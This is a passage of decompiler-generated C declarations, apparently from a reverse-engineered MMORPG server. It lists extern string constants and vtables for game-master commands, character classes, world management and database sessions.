aGb_dicefix[]; // idb extern char aTs_diceprobabi[]; // idb extern char aTs_dicefix[]; // idb extern char aNpcrevive[]; // idb extern char asc_636144[]; // idb extern char aDebuglogging[]; // idb extern char aPartblock[]; // idb extern char aKnockback[]; // idb extern char aPw_0[]; // idb extern char aAmibusy[]; // idb extern char aCurtime[]; // idb extern char aGhostremove[]; // idb extern char aRunto[]; // idb extern char aInvenview[]; // idb extern char asc_6361B0[2]; // idb extern char aIgnoreskillc_2[]; // idb extern char aCaptivate_1[]; // idb extern char aReloaddata[]; // idb extern char aLinktosavedata[]; // idb extern char aSpeed[]; // idb extern char aSp[]; // idb extern char aHp_2[]; // idb extern char aObserverout[]; // idb extern char aObserverlinkto[]; // idb extern char aUseguildskill[]; // idb extern char aFlagcapture_1[]; // idb extern char aStartgt[]; // idb extern char aErasechargebuf[]; // idb extern char aAllcritical[]; // idb extern char aMobhatchery[]; // idb extern char aShowid[]; // idb extern char aWedding_1[]; // idb extern char aUnlearnpassive[]; // idb extern char aUnlearn[]; // idb extern char aLearnpassive[]; // idb extern char aEnter[]; // idb extern char aEnterready[]; // idb extern char aReserve[]; // idb extern char aWeddingreset[]; // idb extern char aProposeres[]; // idb extern char aPropose[]; // idb extern char aPartyinfo[]; // idb extern char aCharinform[]; // idb extern char aHorsespeed[]; // idb extern char aEnterminihouse[]; // idb extern char aImmortal[]; // idb extern char aDeathaura[]; // idb extern char aStaticdamage[]; // idb extern char aServersocketcu[]; // idb extern char aEmptymap[]; // idb extern char aBlock[]; // idb extern char aZonelink[]; // idb extern char aGuildtourna_27[]; // idb extern char aEndofkq[]; // idb extern char aReroadkingdomq[]; // idb extern char aKingdomquest[]; // idb extern char aSuicideallmob[]; // idb extern char aMobdamage[]; // idb extern char aKillallmob[]; // idb extern char aKqreward[]; // idb extern char aResetabstate[]; // idb extern char aSetabstate[]; // idb extern char aSkillcooltime[]; // idb extern char aLearnskill[]; // idb extern char aQuestcomplete[]; // idb extern char aQuestrecieve[]; // idb extern char aQuestgiveup[]; // idb extern char aGldcollectset[]; // idb extern char aGldcollectclea[]; // idb extern char aGmchat[]; // idb extern char aD_1[]; // idb extern char aZ[3]; // idb extern char aOxblock_1[]; // idb extern char aTemplink[]; // idb extern char aTimer[]; // idb extern char aScrint[]; // idb extern char aCoord[]; // idb extern char aDist[]; // idb extern char aSetsp[]; // idb extern char aSethp[]; // idb extern char aPerformance[]; // idb extern char aSummonplayer[]; // idb extern char aFullpoint[]; // idb extern char aMb[]; // idb extern char aMobbreed[]; // idb extern char aDoorbuild_1[]; // idb extern char aDimension[]; // idb extern char aCleariv[]; // idb extern char aMakeitem[]; // idb extern char aServerindex[]; // idb extern char aAdminlevel[]; // idb extern char aParameterview[]; // idb extern char aChargeditem[]; // idb extern char aMobdist[]; // idb extern char aIsblock[]; // idb extern char aDistribute[]; // idb extern char aI_1[6]; // idb extern char aSilence_1[]; // idb extern char asc_6365DC[]; // idb extern char aFieldbonus[]; // idb extern char asc_6365F4[]; // idb extern char aItembonus[]; // idb extern char aCSB[]; // idb extern char aExpbonus[]; // idb extern char aP[]; // idb extern char aPsummon[]; // idb extern char asc_636640[]; // idb extern char aLinkto[]; // idb extern char aC_0[]; // idb extern char aKickout[]; // idb extern char asc_636664[2]; // idb extern char aMfind[]; // idb extern char asc_636674[6]; // idb extern char aPfind[]; // idb extern char aI[]; // idb extern char aShow[]; // idb extern char asc_636694[2]; // idb extern char aHide_1[]; // idb extern unsigned __int8 asc_6366A4[]; // idb extern char asc_6366A8[2]; // idb extern MobTacticElement::MobActionArgument argument; // idb extern char unk_6366B0[]; // idb extern char unk_6366B4[]; // idb extern char aAmpersandco_14[20]; // idb extern _UNKNOWN AttackRhythm::AttackRhythmBase::_vftable_; // weak extern _UNKNOWN AttackRhythm::AttackRhythm_Melee::_vftable_; // weak extern _UNKNOWN AttackRhythm::AttackRhythm_Range::_vftable_; // weak extern _UNKNOWN AttackRhythm::AttackRhythm_Mob::_vftable_; // weak extern _UNKNOWN ItemBoxIterator::_vftable_; // weak extern int (__thiscall *ItemBoxIterEmpty::_vftable_)(_DWORD); // weak extern char unk_636780[]; // idb extern char unk_6367D8[]; // idb extern char unk_636824[]; // idb extern char unk_63685C[]; // idb extern char unk_63689C[]; // idb extern char unk_6368C8[]; // idb extern char unk_636910[]; // idb extern char unk_636948[]; // idb extern char unk_636984[]; // idb extern char unk_6369B0[]; // idb extern char asc_636A10[]; // idb extern char asc_636A68[]; // idb extern char aGamedbsessio_4[]; // idb extern char aGamedbsessio_3[]; // idb extern char asc_636B40[]; // idb extern char asc_636B94[]; // idb extern char aGamedbsessio_7[]; // idb extern char aGamedbsessio_6[]; // idb extern char aGamedbsessio_5[]; // idb extern char asc_636C90[]; // idb extern char asc_636CE8[]; // idb extern char aGamedbsessio_9[]; // idb extern char aGamedbsessio_8[]; // idb extern char asc_636DB8[]; // idb extern char aGamedbsessi_11[]; // idb extern char aGamedbsessi_10[]; // idb extern char asc_636E78[]; // idb extern char asc_636ED8[]; // idb extern char aGamedbsessi_13[]; // idb extern char aGamedbsessi_12[]; // idb extern char aGamedbsessi_15[]; // idb extern char aGamedbsessi_14[]; // idb extern char aShineo[]; // idb extern char asc_6370C0[]; // idb extern char aGamedbsessi_17[]; // idb extern char aGamedbsessi_16[]; // idb extern int (__stdcall *AxialListIterator::_vftable_[5])(int type, int slot, int distancesquar); // weak extern int (__stdcall *AxialListBossFind::_vftable_[4])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListShowID::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListProtocolSend::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListPkTypeProtocolSend::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistpktyp[]; // idb extern int (__stdcall *AxialListMobKillLog::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearGateFind::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistpac_3[]; // idb extern int (__stdcall *AxialListPacketBroadcast::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistpacke[]; // idb extern char aAxiallistpac_7[]; // idb extern int (__thiscall *AxialListPacketBroadcastByGuild::_vftable_)(AxialListPacketBroadcast *this, #593 *, #593 *, int distancesquar); // weak extern char aAxiallistpac_5[]; // idb extern int (__stdcall *AxialListPacketBroadcast4ItemPickUp::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistpac_4[]; // idb extern char aAxiallistpac_2[]; // idb extern char aAxiallistbossf[]; // idb extern char aGate[]; // idb extern char aShineplayerTim[]; // idb extern int (__stdcall *AxialListTargetInform::_vftable_)(int, int, int distancesquar); // weak extern char asc_6374C0[]; // idb extern char asc_637510[]; // idb extern char aTargetobjectTo[]; // idb extern char aAxiallisttarge[]; // idb extern char asc_6375A8[]; // idb extern char aTargetobject_1[]; // idb extern char asc_637608[]; // idb extern char asc_637640[]; // idb extern char asc_637688[]; // idb extern char asc_6376C0[]; // idb extern char asc_637710[]; // idb extern char asc_637770[]; // idb extern char aTargetobject_2[]; // idb extern char asc_6377E8[]; // idb extern char asc_637820[]; // idb extern char asc_637868[]; // idb extern char asc_6378B4[]; // idb extern char asc_6378E4[]; // idb extern char asc_637914[]; // idb extern char asc_637948[]; // idb extern char asc_637988[]; // idb extern char asc_6379D0[]; // idb extern char asc_637A00[]; // idb extern char asc_637A3C[]; // idb extern char asc_637A64[]; // idb extern char asc_637A94[]; // idb extern char asc_637ACC[]; // idb extern char asc_637AF4[]; // idb extern char asc_637B20[]; // idb extern char asc_637B4C[]; // idb extern char asc_637B78[]; // idb extern char asc_637BA4[]; // idb extern char asc_637BD0[]; // idb extern char aErrorSelectorB[33]; // weak extern char asc_637C20[]; // idb extern char asc_637C54[]; // idb extern char asc_637C88[]; // idb extern char asc_637CB8[]; // idb extern char asc_637CEC[]; // idb extern char asc_637D24[]; // idb extern char asc_637D60[]; // idb extern char asc_637D8C[]; // idb extern char asc_637DCC[]; // idb extern char asc_637DF8[]; // idb extern char asc_637E38[]; // idb extern char asc_637E80[]; // idb extern char aShineobjectc_5[]; // idb extern char aShineobjectc_4[]; // idb extern char aShineobjectc_3[]; // idb extern char aShineobjectc_2[]; // idb extern char asc_637FE0[]; // idb extern char asc_638048[]; // idb extern char asc_6380A0[]; // idb extern char aWorldmanager_3[]; // idb extern char asc_63810C[]; // idb extern char asc_638144[]; // idb extern char asc_638178[]; // idb extern char aShinemobileo_3[27]; // weak extern char asc_6381C0[]; // idb extern char asc_638200[]; // idb extern char asc_638244[]; // idb extern char asc_638274[]; // idb extern char aShineplayerSo_[21]; // weak extern char asc_6382C8[]; // idb extern char asc_6382F0[]; // idb extern char aShineobject_89[]; // idb extern char asc_63835C[]; // idb extern char asc_638394[]; // idb extern char asc_6383C8[]; // idb extern char asc_6383FC[]; // idb extern char asc_638438[]; // idb extern char asc_638478[]; // idb extern char asc_6384B4[]; // idb extern char asc_6384EC[]; // idb extern char asc_638528[]; // idb extern char asc_638568[]; // idb extern char asc_6385A0[]; // idb extern char asc_6385E8[]; // idb extern char asc_638620[]; // idb extern char asc_638654[]; // idb extern char aSp_schedule_sw[23]; // weak extern char asc_6386A0[]; // idb extern char aShineobject_90[]; // idb extern char aBattleobject_0[]; // idb extern char aBattleobject_3[]; // idb extern char aBattleobject_4[]; // idb extern char asc_6387D0[]; // idb extern char asc_638828[]; // idb extern char asc_638878[]; // idb extern char aShineobjectc_0[]; // idb extern char aShineobjectc_7[]; // idb extern char aShinemobSo_k_1[52]; // weak extern char aShinemobSo_kil[]; // idb extern char asc_638984[]; // idb extern char asc_6389B0[]; // idb extern char asc_6389F8[]; // idb extern char asc_638A40[]; // idb extern char aShineobjectc_6[]; // idb extern char aShineobjectcla[]; // idb extern char aS_1[]; // idb extern char aDbg_txt[]; // idb extern char aA[]; // idb extern int (__stdcall *AxialListTargetChange::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aMultihitargume[]; // idb extern char aBattleobjectgr[]; // idb extern char asc_638B70[]; // idb extern char asc_638BAC[]; // idb extern char asc_638BE4[]; // idb extern char aSmo_icanhealto[15]; // weak extern char asc_638C28[]; // idb extern char asc_638C5C[]; // idb extern char asc_638C8C[]; // idb extern char asc_638CBC[]; // idb extern char aSkilleffect_12[]; // idb extern char asc_638D24[]; // idb extern char asc_638D5C[]; // idb extern char asc_638D90[]; // idb extern char asc_638DC0[]; // idb extern char asc_638DFC[]; // idb extern char aAxiallisttar_1[]; // idb extern char asc_638E54[]; // idb extern char asc_638E88[]; // idb extern char asc_638EC4[]; // idb extern char aShineobjectc_8[]; // idb extern char aSkilleffecta_7[]; // idb extern char aSkilleffect_10[]; // idb extern char aSkilleffecta_3[]; // idb extern char aSkilleffect_11[]; // idb extern char aSkilleffectapp[]; // idb extern char aSkilldamagelog[]; // idb extern char aListTTooLong[]; // idb extern char aBlockdistribut[]; // idb extern char aTooSmallSize[]; // idb extern char aBlockdistrib_0[]; // idb extern char aBlockdistrib_2[]; // idb extern int (__thiscall *ItemBoxIterItem::_vftable_)(_DWORD); // weak extern int (__thiscall *ItemBoxIterIdent::_vftable_)(_DWORD); // weak extern char a___[4]; // idb extern int (__stdcall *AxialListGhostBan::_vftable_)(int, int, int distancesquar); // weak extern int (*IObserver::_vftable_[3])(); // weak extern char aKickByDoubleCo[]; // idb extern char asc_6391D0[]; // idb extern char asc_639214[]; // idb extern char aRoun[]; // idb extern char asc_639254[]; // idb extern char asc_639280[]; // idb extern char asc_6392C0[]; // idb extern char asc_6392F4[]; // idb extern char aBriefinfoexc_8[]; // idb extern char aBriefinfoexcha[]; // idb extern char aBriefinfoexc_0[]; // idb extern char aBriefinfoex_12[]; // idb extern char aBriefinfoex_24[]; // idb extern char aBriefinfoexc_2[]; // idb extern char aBriefinfoexc_9[]; // idb extern char aBriefinfoex_22[]; // idb extern char aBriefinfoex_13[]; // idb extern char aBriefinfoexc_4[]; // idb extern char aBriefinfoexc_3[]; // idb extern char aBriefinfoex_23[]; // idb extern char aBriefinfoexc_6[]; // idb extern char aBriefinfoex_20[]; // idb extern char aBriefinfoex_10[]; // idb extern char asc_6395E4[]; // idb extern char asc_63961C[]; // idb extern char aUrg[]; // idb extern char aEld[]; // idb extern char asc_639690[]; // idb extern char a3[2]; // weak extern char a2[2]; // weak extern char asc_6396D8[]; // idb extern char asc_639700[]; // idb extern char aGamedbsessi_19[]; // idb extern char aGamedbsessi_20[]; // idb extern char asc_639798[]; // idb extern char asc_6397D0[]; // idb extern char asc_639804[]; // idb extern char aFromD_D_D_D[]; // idb extern char asc_639854[]; // idb extern char aWorldmanager_4[]; // idb extern char asc_6398C0[]; // idb extern char asc_6398EC[]; // idb extern char asc_639924[]; // idb extern int (__thiscall *Observer::_vftable_)(void *p, char); // weak extern char asc_639970[]; // idb extern char asc_6399B0[]; // idb extern char asc_6399E0[]; // idb extern char asc_639A28[]; // idb extern char asc_639A78[]; // idb extern char aBriefinfoex_21[]; // idb extern char aBriefinfoex_14[]; // idb extern char asc_639CEC[]; // idb extern char aYouAreAdminist[23]; // weak extern char asc_639D78[]; // idb extern char asc_639DAC[]; // idb extern char asc_639DDC[]; // idb extern char asc_639E08[]; // idb extern char asc_639E40[]; // idb extern int (__stdcall *AxialListCameraMove::_vftable_)(int, int, int distancesquar); // weak extern char aMapSetTTooLong[]; // idb extern char asc_639EA0[]; // idb extern char asc_639EE4[]; // idb extern char aAxiallistcamer[]; // idb extern char asc_639F38[]; // idb extern char asc_639F6C[]; // idb extern char asc_639FAC[]; // idb extern char asc_639FE0[]; // idb extern char asc_63A014[]; // idb extern char asc_63A048[]; // idb extern char asc_63A07C[]; // idb extern char asc_63A0B8[]; // idb extern char aLogincomplete[14]; // weak extern char asc_63A118[]; // idb extern char asc_63A168[]; // idb extern char aSp_nc_map_lo_1[]; // idb extern char aSp_nc_map_logi[]; // idb extern char asc_63A210[]; // idb extern char asc_63A260[]; // idb extern int (__thiscall *CallBackEvent::_vftable_)(void *p, char); // weak extern int (__thiscall *RollBackPosCallBackEvent::_vftable_)(void *p, char); // weak extern char aCharactertog_0[]; // idb extern char aCharactertog_2[]; // idb extern char aCharactertoggl[]; // idb extern char aCharacterpassi[]; // idb extern char aCharacterpas_3[]; // idb extern char aCharaterskilll[]; // idb extern char aCharaterski_11[]; // idb extern char aCharaterski_31[]; // idb extern char aCharaterski_26[]; // idb extern char aCharaterskil_0[]; // idb extern char aCharacterpas_7[]; // idb extern char aCharacterpas_1[]; // idb extern char aCharacterpas_9[]; // idb extern char aCharacterpas_4[]; // idb extern char aCharacterpas_6[]; // idb extern char aCharaterski_20[]; // idb extern char aCharaterski_24[]; // idb extern char aCharaterski_29[]; // idb extern char aCharaterski_28[]; // idb extern char aCharaterski_34[]; // idb extern char aCharaterski_18[]; // idb extern char aCharaterski_19[]; // idb extern char aCharacterpas_8[]; // idb extern char aCharaterski_30[]; // idb extern char aCharaterski_37[]; // idb extern char aCharaterski_13[]; // idb extern char aCharaterskil_8[]; // idb extern char aCharaterski_15[]; // idb extern char aCharaterskil_5[]; // idb extern char aCharaterskil_7[]; // idb extern char aCharaterski_25[]; // idb extern char aCharaterski_12[54]; // weak extern char aCharaterski_27[]; // idb extern char aCharaterski_16[]; // idb extern char aCharaterskil_2[]; // idb extern char aCharaterskil_9[]; // idb extern char aCharaterski_21[]; // idb extern char aCharaterskil_3[]; // idb extern char aCharaterski_14[]; // idb extern char aCharaterskil_1[]; // idb extern char aCharacterskill[]; // idb extern char aCharaterski_33[71]; // weak extern char aCharaterski_36[71]; // weak extern char aCharaterski_10[]; // idb extern char aCharacterpas_0[]; // idb extern char aCharacterpas_2[]; // idb extern char aCharaterskil_6[]; // idb extern char aCharaterski_23[]; // idb extern int (__stdcall *CharClass::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassMob::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassFighter::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassCleverFighter::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassWarrior::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassGladiator::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassKnight::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassCleric::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassHighCleric::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassPaladin::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassHolyKnight::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassGuardian::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassArchar::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassHawkArcher::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassScout::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassSharpShooter::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassRanger::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassMage::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassWizMage::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassEnchanter::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassWarrock::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassWizard::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassJoker::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassChaser::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassCruel::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassCloser::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern int (__stdcall *CharClassAssassin::_vftable_[8])(int iti, int IsPutOnBelonged); // weak extern char aCharclassCc__2[]; // idb extern char aParam[]; // idb extern char aLevel[]; // idb extern char aCharclassCc__1[]; // idb extern char a__9dataHero_46[]; // idb extern char a__9dataHeroWor[]; // idb extern char aCharclassCc_lo[]; // idb extern char aParamassassins[]; // idb extern char aParamcloserser[]; // idb extern char aParamcruelserv[]; // idb extern char aParamchaserser[]; // idb extern char aParamjokerserv[]; // idb extern char aParamwizardser[]; // idb extern char aParamwarrockse[]; // idb extern char aParamenchanter[]; // idb extern char aParamwizmagese[]; // idb extern char aParammageserve[]; // idb extern char aParamrangerser[]; // idb extern char aParamsharpshoo[]; // idb extern char aParamscoutserv[]; // idb extern char aParamhawkarche[]; // idb extern char aParamarcherser[]; // idb extern char aParamguardians[]; // idb extern char aParamholyknigh[]; // idb extern char aParampaladinse[]; // idb extern char aParamhighcleri[]; // idb extern char aParamclericser[]; // idb extern char aParamknightser[]; // idb extern char aParamgladiator[]; // idb extern char aParamwarriorse[]; // idb extern char aParamcleverfig[]; // idb extern char txt[]; // idb extern char aCharclassmanag[]; // idb extern char asc_63B7C4[]; // idb extern char aShineplayerS_6[]; // idb extern char aWorldmanager_6[]; // idb extern char aWorldmanager_5[]; // idb extern char aWorldmanager_8[]; // idb extern char aWorldmanager_7[]; // idb extern char aWorldmanage_10[]; // idb extern char aWorldmanager_9[]; // idb extern char asc_63B988[]; // idb extern char asc_63B9CC[]; // idb extern char aWorldmanage_12[]; // idb extern char aWorldmanage_11[]; // idb extern char aWorldmanage_13[]; // idb extern char aWorldmanage_15[]; // idb extern char aWorldmanage_14[]; // idb extern char aWorldmanage_16[]; // idb extern char asc_63BB78[]; // idb extern char asc_63BBBC[]; // idb extern char asc_63BBF0[]; // idb extern char asc_63BC28[]; // idb extern char asc_63BC6C[]; // idb extern char asc_63BCA0[]; // idb extern char aWorldmanage_17[]; // idb extern char aWorldmanage_19[]; // idb extern char aWorldmanage_18[]; // idb extern char aWorldmanage_21[]; // idb extern char aWorldmanage_20[]; // idb extern char aWorldmanage_22[]; // idb extern char aWorldmanage_24[]; // idb extern char aWorldmanage_23[]; // idb extern char aWorldmanage_26[]; // idb extern char aWorldmanage_25[]; // idb extern char asc_63BF48[]; // idb extern char asc_63BF90[]; // idb extern char asc_63BFD4[]; // idb extern char aWorldmanage_28[]; // idb extern char aWorldmanage_27[]; // idb extern char asc_63C078[]; // idb extern char asc_63C0BC[]; // idb extern char aWorldmanage_29[]; // idb extern char aGamedbsessi_21[]; // idb extern char asc_63C150[]; // idb extern char asc_63C1A8[]; // idb extern char asc_63C1F8[]; // idb extern char asc_63C24C[]; // idb extern char aGamedbsessi_22[]; // idb extern char aGamedbsessionW[]; // idb extern char asc_63C2F4[]; // idb extern char asc_63C330[]; // idb extern char asc_63C37C[]; // idb extern char aWorldmanage_31[]; // idb extern char aWorldmanage_30[]; // idb extern char aWorldmanage_34[]; // idb extern char aWorldmanage_33[]; // idb extern char aWorldmanage_32[]; // idb extern char aWorldmanage_35[]; // idb extern char aWorldmanage_36[]; // idb extern char aItemsmallbagSm[]; // idb extern char aItemsmallbag_1[]; // idb extern char asc_63C600[]; // idb extern char asc_63C644[]; // idb extern char asc_63C684[]; // idb extern MobTacticElement::MobActionArgument stru_63C688; // idb extern char aGamedbsessi_24[]; // idb extern char aGamedbsessi_23[]; // idb extern char aGamedbsessi_25[]; // idb extern char aShineobject_11[]; // idb extern char aGamedbsessi_27[]; // idb extern char aGamedbsessi_26[]; // idb extern char aGamedbsessi_28[]; // idb extern char aShineobject_10[]; // idb extern char aShineobjectc_9[]; // idb extern char aGamedbsessi_30[]; // idb extern char aGamedbsessi_29[]; // idb extern char aChargediteme_1[]; // idb extern char aChargediteme_9[]; // idb extern char aChargediteme_2[]; // idb extern char aChargediteme_7[]; // idb extern char aUseskill[]; // idb extern char aRidepetdatab_1[]; // idb extern char aRidepetdatabox[]; // idb extern char dataHeroR::a[]; // idb extern char skillname[]; // idb extern char aChargeditem_10[]; // idb extern char aChargediteme_0[]; // idb extern char aShineobject_84[]; // idb extern char aShineobject_83[]; // idb extern char aShineobject_82[]; // idb extern char aChargediteme_4[]; // idb extern char aChargediteme_5[]; // idb extern int (__stdcall *MobAttackSequence::SkillChangeList::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *ChargedItemEffectList::ChargedEffectListRouter::_vftable_)(int ele, __int16 handle); // weak extern char aChargeditemeff[]; // idb extern char asc_63CFE8[]; // idb extern char aWorldmanage_39[]; // idb extern char asc_63D04C[]; // idb extern char asc_63D080[]; // idb extern char asc_63D0B8[]; // idb extern char asc_63D100[]; // idb extern char asc_63D148[]; // idb extern char aReviveHere[]; // idb extern char asc_63D190[]; // idb extern char aReviveCity[]; // idb extern char aReviveReady[]; // idb extern MobTacticElement::MobActionArgument unk_63D200; // idb extern char unk_63D204[]; // idb extern char unk_63D230[]; // idb extern char unk_63D240[]; // idb extern char unk_63D254[]; // idb extern char unk_63D25C[]; // idb extern char unk_63D298[]; // idb extern char unk_63D2DC[]; // idb extern char unk_63D31C[]; // idb extern char unk_63D350[]; // idb extern char unk_63D368[]; // idb extern char unk_63D398[]; // idb extern char unk_63D3E0[]; // idb extern char unk_63D414[]; // idb extern _UNKNOWN AxialListMobFind::_vftable_; // weak extern char unk_63D450[]; // idb extern char unk_63D470[]; // idb extern char unk_63D4A4[]; // idb extern char unk_63D4DC[]; // idb extern char unk_63D50C[]; // idb extern char unk_63D524[]; // idb extern char unk_63D538[]; // idb extern char aFieldmapFm_m_0[]; // idb extern char aMapmarking[]; // idb extern char aFieldmapFm_m_2[]; // idb extern char aFieldmapFm_mar[]; // idb extern int (*EventReserveBase::_vftable_)(); // weak extern char asc_63D5E0[]; // idb extern char asc_63D610[]; // idb extern char asc_63D640[]; // idb extern char asc_63D678[]; // idb extern char asc_63D6AC[]; // idb extern char asc_63D6DC[]; // idb extern char asc_63D70C[]; // idb extern char asc_63D738[]; // idb extern char asc_63D764[]; // idb extern char asc_63D794[]; // idb extern char asc_63D7C4[]; // idb extern char asc_63D7F4[]; // idb extern char asc_63D820[]; // idb extern char aWholesaverWs_4[]; // idb extern char aWholesaverWs_6[]; // idb extern char aWholesaverWs_0[]; // idb extern char aWholesaverWs_7[]; // idb extern char aWholesaverWs_9[]; // idb extern char aWholesaverWs_3[]; // idb extern char aWholesaverWs_2[]; // idb extern char aNotsaved_bin[]; // idb extern char aWb[]; // idb extern char aEventsaveche_1[]; // idb extern char aEventsavecheck[]; // idb extern char asc_63D9A4[]; // idb extern char asc_63D9D4[]; // idb extern char aShineplayer_48[]; // idb extern char asc_63DA38[]; // idb extern char asc_63DA70[]; // idb extern char asc_63DAA4[]; // idb extern char asc_63DAD4[]; // idb extern char asc_63DB04[]; // idb extern char asc_63DB30[]; // idb extern char asc_63DB5C[]; // idb extern int (__stdcall *AbnormalStateSaver::_vftable_)(int ele, __int16 handle); // weak extern char aAbnormalsta_17[47]; // weak extern char aAbnormalsta_32[]; // idb extern char aAbnormalsta_24[]; // idb extern char asc_63DC0C[]; // idb extern char asc_63DC3C[]; // idb extern char aGamedbsessi_32[]; // idb extern char aGamedbsessionN[]; // idb extern char aGamedbsessi_33[]; // idb extern char aGamedbsessi_34[]; // idb extern char aGamedbsessi_35[]; // idb extern char aGamedbsessi_36[]; // idb extern char aWholesaverW_11[]; // idb extern int (*EventSaveCheck::_vftable_)(); // weak extern char asc_63DE30[]; // idb extern char asc_63DE98[88]; // weak extern char asc_63DEF0[]; // idb extern char aWholesaverSo_s[]; // idb extern char asc_63DF78[]; // idb extern char asc_63DFA8[]; // idb extern char aSkillcooltimel[]; // idb extern char asc_63DFE8[]; // idb extern int (__stdcall *AxialListMobDistribute::_vftable_)(int, int, int distancesquar); // weak extern char aSDD[]; // idb extern char asc_63E038[]; // idb extern char asc_63E084[]; // idb extern char asc_63E0C0[]; // idb extern char asc_63E100[]; // idb extern char asc_63E138[]; // idb extern char asc_63E178[]; // idb extern char asc_63E1AC[]; // idb extern char asc_63E1EC[]; // idb extern char asc_63E220[]; // idb extern char asc_63E278[]; // idb extern char asc_63E2C0[]; // idb extern char asc_63E2F8[]; // idb extern char asc_63E330[]; // idb extern char asc_63E368[]; // idb extern char asc_63E3A0[]; // idb extern char asc_63E3D8[]; // idb extern char asc_63E420[]; // idb extern char asc_63E458[]; // idb extern char asc_63E4A0[]; // idb extern char asc_63E4EC[]; // idb extern char asc_63E528[]; // idb extern char asc_63E560[]; // idb extern char asc_63E59C[]; // idb extern char asc_63E5C8[]; // idb extern char asc_63E610[]; // idb extern char asc_63E64C[]; // idb extern char asc_63E674[]; // idb extern char asc_63E6B4[]; // idb extern char asc_63E6E8[]; // idb extern char asc_63E728[]; // idb extern char asc_63E75C[]; // idb extern char asc_63E788[]; // idb extern char asc_63E7C8[]; // idb extern char asc_63E7F8[]; // idb extern char asc_63E830[]; // idb extern char asc_63E858[]; // idb extern char asc_63E8A0[]; // idb extern char asc_63E8D8[]; // idb extern char asc_63E908[]; // idb extern char asc_63E93C[]; // idb extern char asc_63E974[]; // idb extern char asc_63E9A8[]; // idb extern char asc_63E9E8[]; // idb extern char asc_63EA1C[]; // idb extern int (__stdcall *ClientSession::_vftable_)(int interval); // weak extern int (__stdcall *ClientSessionNull::_vftable_)(int interval); // weak extern int (__stdcall *ZoneListenSession::_vftable_)(int interval); // weak extern char aZonelistensess[]; // idb extern char aZonelistens_19[]; // idb extern char aZonelistens_25[]; // idb extern char aDMechinesTrave[]; // idb extern char aZonelistense_9[]; // idb extern char aZonelistense_8[]; // idb extern char aZonelistens_13[]; // idb extern char aZonelistens_24[]; // idb extern char aZonelistens_20[]; // idb extern char aZonelistens_17[]; // idb extern char aZonelistense_5[]; // idb extern char aZonelistens_10[]; // idb extern char aZonelistens_23[]; // idb extern char aZonelistens_16[]; // idb extern char aDamagebyangleD[]; // idb extern char aDamagebyangl_8[]; // idb extern char aDamagebyangl_9[]; // idb extern char aDamagebyangl_7[]; // idb extern char aDamagebyangl_1[]; // idb extern char aDamagebyangl_6[]; // idb extern char aDamagebyangl_3[]; // idb extern char aDamagebyangl_0[]; // idb extern char aDamagebyangl_2[]; // idb extern char a__9dataHero_27[]; // idb extern char a__9dataHeroW_4[]; // idb extern char aDamagebysoul[]; // idb extern char aDamagebysoul_1[]; // idb extern char aDamagebysoulSo[]; // idb extern char a__9dataHero_29[]; // idb extern char a__9dataHero_39[]; // idb extern char asc_63F06C[]; // idb extern char asc_63F0A8[]; // idb extern char asc_63F0EC[]; // idb extern char asc_63F12C[]; // idb extern char asc_63F16C[]; // idb extern char aShineobject_18[]; // idb extern char aShineobject_17[]; // idb extern char asc_63F218[]; // idb extern char asc_63F25C[]; // idb extern char asc_63F290[]; // idb extern char aShineobject_16[]; // idb extern char aShineobject_15[]; // idb extern char asc_63F348[]; // idb extern char asc_63F38C[]; // idb extern char asc_63F3C8[]; // idb extern char asc_63F404[]; // idb extern char asc_63F434[]; // idb extern char aCooltimeset[]; // idb extern char aSp_ridecast_in[]; // idb extern char aNotNull[9]; // weak extern char asc_63F4A0[]; // idb extern char asc_63F4DC[]; // idb extern char aShineobject_14[]; // idb extern char aShineobject_13[]; // idb extern char aShineobject_12[]; // idb extern char asc_63F5B0[]; // idb extern char asc_63F5F8[]; // idb extern char asc_63F640[]; // idb extern char asc_63F684[]; // idb extern char aMovererrorlog[]; // idb extern char aDirectdistan_1[]; // idb extern char 